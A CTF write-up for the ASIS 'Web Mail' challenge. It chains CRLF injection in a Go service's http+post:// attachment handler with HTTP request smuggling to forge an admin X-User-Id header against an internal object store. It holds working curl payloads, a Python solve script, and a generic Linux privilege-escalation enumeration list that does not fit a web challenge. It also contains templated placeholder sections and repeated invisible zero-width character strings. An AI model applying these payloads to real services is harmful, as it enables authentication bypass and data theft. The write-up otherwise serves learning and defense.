← Back to Writeups
HTBN/AWeb

ASIS Web Mail

XESXOR8/23/20266 min read
#web#htb#n/a

ASIS Web Mail

Platform: Asis Ctf | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2025-12-27 | Status: Solved Techniques: CRLF injection through URL-decoded path, Go binary reverse engineering for protocol analysis, HTTP Request Smuggling to inject admin headers, Microservices architecture exploitation, SSRF via custom URL scheme (http+post://)

Summary

Task: access an admin-only FLAG bucket in a microservices webmail application. Solution: exploit CRLF injection in a Go binary's http+post:// URL handler that URL-decodes the path before raw TCP, smuggling HTTP requests with X-User-Id:999 admin header to the internal ObjectStore.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: ASIS CTF | ID: 20251227_asis_webmail
  • Tags: flask, ssrf, postgresql, header_injection, nginx, gunicorn, crlf_injection, http_request_smuggling, go_binary_reversing, microservices, xml_parsing, url_decoding
  • Indicators: Custom URL scheme in XML parsing (http+post://), Go binary with XML struct containing attachment_url field, Internal ObjectStore service with X-User-Id header authentication, URL path decoding before raw TCP connection, Microservices architecture with internal network
  • Source: 20251227_asis_webmail.md

Foothold

Vulnerability / Misconfiguration

  1. CRLF injection through URL-decoded path
  2. Go binary reverse engineering for protocol analysis
  3. HTTP Request Smuggling to inject admin headers
  4. Microservices architecture exploitation
  5. SSRF via custom URL scheme (http+post://)
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • CRLF injection through URL-decoded path
  • Go binary reverse engineering for protocol analysis
  • HTTP Request Smuggling to inject admin headers
  • Microservices architecture exploitation
  • SSRF via custom URL scheme (http+post://)
  • Tags: flask, ssrf, postgresql, header_injection, nginx, gunicorn, crlf_injection, http_request_smuggling, go_binary_reversing, microservices, xml_parsing, url_decoding

Original Writeup

<details><summary>Click to expand original content</summary>

Challenge Description

A "secure military-grade" web mail application with microservices architecture:

ServiceTechnologyPortFunction
Frontendnginx80Reverse proxy, auth_request
SSONode.js3001Authentication, JWT tokens
APIGo binary3002Mail operations, XML parsing
ObjectStorePython Flask8082File storage, FLAG bucket
DatabasePostgreSQL5432User/mail data

Goal: Access the FLAG bucket in ObjectStore (requires X-User-Id: 999 - admin). ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Architecture Analysis

nginx Configuration

# Blocks external X-User-Id headers
if ($http_x_user_id != "") {
    return 400;
}

# Auth request to SSO for /api/ routes
location /api/ {
    auth_request /auth;
    auth_request_set $auth_user_id $upstream_http_x_user_id;
    proxy_set_header X-User-Id $auth_user_id;
    proxy_pass http://api_up/;
}

ObjectStore Authentication (app.py)

def require_auth(f):
    @wraps(f)
    def wrapper(*args, **kwargs):
        user_id = request.headers.get("X-User-Id", "")
        if not user_id:
            return jsonify({"error":"authorization required"}), 401
        is_admin = user_id == "999"  # Admin check!
        kwargs.update({"is_admin": is_admin})
        return f(*args, **kwargs)
    return wrapper
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# FLAG bucket requires admin
if bucket == "FLAG" and is_admin is False:
    return jsonify({"error":"forbidden"}), 403

Vulnerability Discovery

Go Binary Reverse Engineering

Decompiling the Go API binary revealed an XML struct for email composition:

type ComposeXML struct {
    To              string `xml:"to"`
    Subject         string `xml:"subject"`
    Body            string `xml:"body"`
    AttachmentUrl   string `xml:"attachment_url"`
    NotificationUrl string `xml:"notification_url"`
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The downloadAttachmentPost function processes http+post:// URLs:

func downloadAttachmentPost(urlStr string) ([]byte, error) {
    // Parse URL: http+post://host:port/path
    // URL-decode the path  <-- CRITICAL VULNERABILITY!
    decodedPath := url.PathUnescape(path)
    
    // Open raw TCP connection
    conn, _ := net.Dial("tcp", host+":"+port)
    
    // Send HTTP POST request
    request := fmt.Sprintf("POST %s HTTP/1.1\r\nHost: %s\r\n...", decodedPath, host)
    conn.Write([]byte(request))
    // ...
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key vulnerability: The path is URL-decoded before being inserted into the HTTP request, allowing CRLF injection!

Exploitation

Attack Chain

  1. Register/Login to get JWT token
  2. Send XML with malicious attachment_url containing CRLF-encoded payload
  3. SSRF to internal ObjectStore with smuggled admin headers
  4. Retrieve flag from FLAG bucket

Step 1: Authentication

# Register
curl -X POST "http://target/sso/register" \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"password123"}'
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Login
TOKEN=$(curl -s -X POST "http://target/sso/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"password123"}' | jq -r '.token')

Step 2: List FLAG Bucket

# CRLF payload to list FLAG bucket with admin header
PAYLOAD="/FLAG%20HTTP/1.1%0d%0aHost:%20objectstore%0d%0aX-User-Id:%20999%0d%0a%0d%0aGET%20/FLAG%20HTTP/1.1%0d%0aHost:%20objectstore%0d%0aX-User-Id:%20999%0d%0a%0d%0a"

curl -X POST "http://target/api/compose" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: text/xml" \
  -d "<message>
    <to>attacker@mail.local</to>
    <subject>SSRF Test</subject>
    <body>test</body>
    <attachment_url>http+post://objectstore:8082$PAYLOAD</attachment_url>
  </message>"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Response: {"bucket":"FLAG","objects":["flag-0750c96cfc2bd4b665865da15e9d5b94.txt"]}

Step 3: Retrieve Flag

# CRLF payload to read specific flag file
PAYLOAD="/FLAG/flag-0750c96cfc2bd4b665865da15e9d5b94.txt%20HTTP/1.1%0d%0aHost:%20objectstore%0d%0aX-User-Id:%20999%0d%0a%0d%0aGET%20/FLAG/flag-0750c96cfc2bd4b665865da15e9d5b94.txt%20HTTP/1.1%0d%0aHost:%20objectstore%0d%0aX-User-Id:%20999%0d%0a%0d%0a"

curl -X POST "http://target/api/compose" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: text/xml" \
  -d "<message>
    <to>attacker@mail.local</to>
    <subject>Get Flag</subject>
    <body>test</body>
    <attachment_url>http+post://objectstore:8082$PAYLOAD</attachment_url>
  </message>"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

HTTP Request Smuggling Explained

When the Go binary processes our malicious URL, it creates this raw TCP data:

POST /FLAG/flag-xxx.txt HTTP/1.1    <- Terminated early by injected CRLF
Host: objectstore
X-User-Id: 999                       <- Injected admin header!

GET /FLAG/flag-xxx.txt HTTP/1.1      <- Smuggled second request
Host: objectstore
X-User-Id: 999                       <- Injected admin header!

POST ... HTTP/1.1                    <- Original request (ignored)
Host: objectstore
Content-Type: text/plain
Content-Length: 0

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The ObjectStore (Flask/gunicorn) processes the smuggled GET request with the admin header, bypassing authentication!

Why This Works

  1. URL Decoding: %0d%0a becomes \r\n (CRLF)
  2. Raw TCP: Go opens raw socket, no HTTP library validation
  3. Request Pipelining: gunicorn processes multiple requests on same connection
  4. Header Injection: X-User-Id: 999 makes ObjectStore think we're admin

Solve Script

#!/usr/bin/env python3
import requests
import urllib.parse

TARGET = "http://target"
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Register and login
s = requests.Session()
s.post(f"{TARGET}/sso/register", json={"username":"pwn","password":"pwn"})
r = s.post(f"{TARGET}/sso/login", json={"username":"pwn","password":"pwn"})
token = r.json()["token"]

headers = {"Authorization": f"Bearer {token}", "Content-Type": "text/xml"}

# CRLF injection payload
def make_payload(path):
    smuggled = f"{path} HTTP/1.1\r\nHost: objectstore\r\nX-User-Id: 999\r\n\r\n"
    smuggled += f"GET {path} HTTP/1.1\r\nHost: objectstore\r\nX-User-Id: 999\r\n\r\n"
    return urllib.parse.quote(smuggled, safe='')
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Step 1: List FLAG bucket
payload = make_payload("/FLAG")
xml = f"""<message>
<to>pwn@mail.local</to>
<subject>List</subject>
<body>x</body>
<attachment_url>http+post://objectstore:8082{payload}</attachment_url>
</message>"""

r = s.post(f"{TARGET}/api/compose", headers=headers, data=xml)
print("Bucket listing:", r.text)

# Step 2: Get flag file (parse filename from response)
flag_file = "flag-0750c96cfc2bd4b665865da15e9d5b94.txt"  # From step 1
payload = make_payload(f"/FLAG/{flag_file}")
xml = f"""<message>
<to>pwn@mail.local</to>
<subject>Flag</subject>
<body>x</body>
<attachment_url>http+post://objectstore:8082{payload}</attachment_url>
</message>"""
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

r = s.post(f"{TARGET}/api/compose", headers=headers, data=xml)
print("Flag:", r.text)

Lessons Learned

  1. Never URL-decode user input before inserting into HTTP requests
  2. Use HTTP client libraries instead of raw sockets for HTTP
  3. Validate internal service headers with cryptographic signatures
  4. Defense in depth: Even internal services should verify auth tokens

References

Files

  • Challenge source: tasks/asis/webmail/ASIS_Mail/
  • ObjectStore: objectstore/app.py
  • nginx config: frontend/nginx.conf
  • Go API binary: api/api ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR